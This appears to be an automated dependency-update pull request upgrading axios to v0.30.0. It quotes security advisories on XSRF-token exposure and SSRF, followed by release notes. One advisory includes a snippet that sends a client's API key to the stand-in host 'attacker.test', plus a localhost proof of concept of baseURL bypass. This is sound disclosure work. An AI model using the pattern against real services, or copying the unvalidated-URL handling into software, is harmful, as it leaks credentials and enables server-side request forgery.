Update dependency axios to v0.30.0 [SECURITY]
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| axios (source) | 0.27.2 -> 0.30.0 |
GitHub Vulnerability Alerts
CVE-2023-45857
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
CVE-2025-27152
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
- When
baseURLis set, passing an absolute URL such ashttp://attacker.test/toget()should not ignorebaseURL. - Before sending the HTTP request (after combining the
baseURLwith the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL.
PoC
Follow the steps below to reproduce the issue:
- Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
- Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
- Run the script:
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURLand does not validate path parameters is affected by this issue.
Release Notes
axios/axios (axios)
v0.30.0
Release notes:
Bug Fixes
- fix: modify log while request is aborted by @mori5321 in https://github.com/axios/axios/pull/4917
- fix: update CHANGELOG.md for v0.x by @TehZarathustra in https://github.com/axios/axios/pull/6271
- fix: modify upgrade guide for 0.28.1's breaking change by @nafeger in https://github.com/axios/axios/pull/6787
- fix: backport allowAbsoluteUrls vulnerability fix to v0.x by @thatguyinabeanie in https://github.com/axios/axios/pull/6829
- fix: add allowAbsoluteUrls type by @thatguyinabeanie in https://github.com/axios/axios/pull/6849
Contributors to this release
- @mori5321 made their first contribution in https://github.com/axios/axios/pull/4917
- @TehZarathustra made their first contribution in https://github.com/axios/axios/pull/6271
- @nafeger made their first contribution in https://github.com/axios/axios/pull/6787
- @thatguyinabeanie made their first contribution in https://github.com/axios/axios/pull/6829
Full Changelog: https://github.com/axios/axios/compare/v0.29.0...v0.30.0
v0.29.0
Release notes:
Bug Fixes
- fix(backport): backport security fixes in commits #6167 and #6163 to v0.x by @Sean-Powell in https://github.com/axios/axios/pull/6402
- fix: omit nulls in params by @Willshaw in https://github.com/axios/axios/pull/6394
- fix(backport): fix paramsSerializer function validation by @solonzhu in https://github.com/axios/axios/pull/6361
- fix: Regular Expression Denial of Service (ReDoS) by @qiongshusheng in https://github.com/axios/axios/pull/6708
Contributors to this release
- @Sean-Powell made their first contribution in https://github.com/axios/axios/pull/6402
- @Willshaw made their first contribution in https://github.com/axios/axios/pull/6394
- @solonzhu made their first contribution in https://github.com/axios/axios/pull/6361
- @qiongshusheng made their first contribution in https://github.com/axios/axios/pull/6708
v0.28.1
Release notes:
Release notes:
Bug Fixes
- fix(backport): custom params serializer support (#6263)
- fix(backport): uncaught ReferenceError
reqis not defined (#6307)
v0.28.0
Release notes:
Bug Fixes
- fix(security): fixed CVE-2023-45857 by backporting
withXSRFTokenoption to v0.x (#6091)
Backports from v1.x:
- Allow null indexes on formSerializer and paramsSerializer v0.x (#4961)
- Fixing content-type header repeated #4745
- Fixed timeout error message for HTTP 4738
- Added
axios.formToJSONmethod (#4735) - URL params serializer (#4734)
- Fixed toFormData Blob issue on node>v17 #4728
- Adding types for progress event callbacks #4675
- Fixed max body length defaults #4731
- Added data URL support for node.js (#4725)
- Added isCancel type assert (#4293)
- Added the ability for the
url-encoded-formserializer to respect theformSerializerconfig (#4721) - Add
string[]toAxiosRequestHeaderstype (#4322) - Allow type definition for axios instance methods (#4224)
- Fixed
AxiosErrorstack capturing; (#4718) - Fixed
AxiosErrorstatus code type; (#4717) - Adding Canceler parameters config and request (#4711)
- fix(types): allow to specify partial default headers for instance creation (#4185)
- Added
blobto the list of protocols supported by the browser (#4678) - Fixing Z_BUF_ERROR when no content (#4701)
- Fixed race condition on immediate requests cancellation (#4261)
- Added a clear() function to the request and response interceptors object so a user can ensure that all interceptors have been removed from an Axios instance https://github.com/axios/axios/pull/4248
- Added generic AxiosAbortSignal TS interface to avoid importing AbortController polyfill (#4229)
- Fix TS definition for AxiosRequestTransformer (#4201)
- Use type alias instead of interface for AxiosPromise (#4505)
- Include request and config when creating a CanceledError instance (#4659)
- Added generic TS types for the exposed toFormData helper (#4668)
- Optimized the code that checks cancellation (#4587)
- Replaced webpack with rollup (#4596)
- Added stack trace to AxiosError (#4624)
- Updated AxiosError.config to be optional in the type definition (#4665)
- Removed incorrect argument for NetworkError constructor (#4656)
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.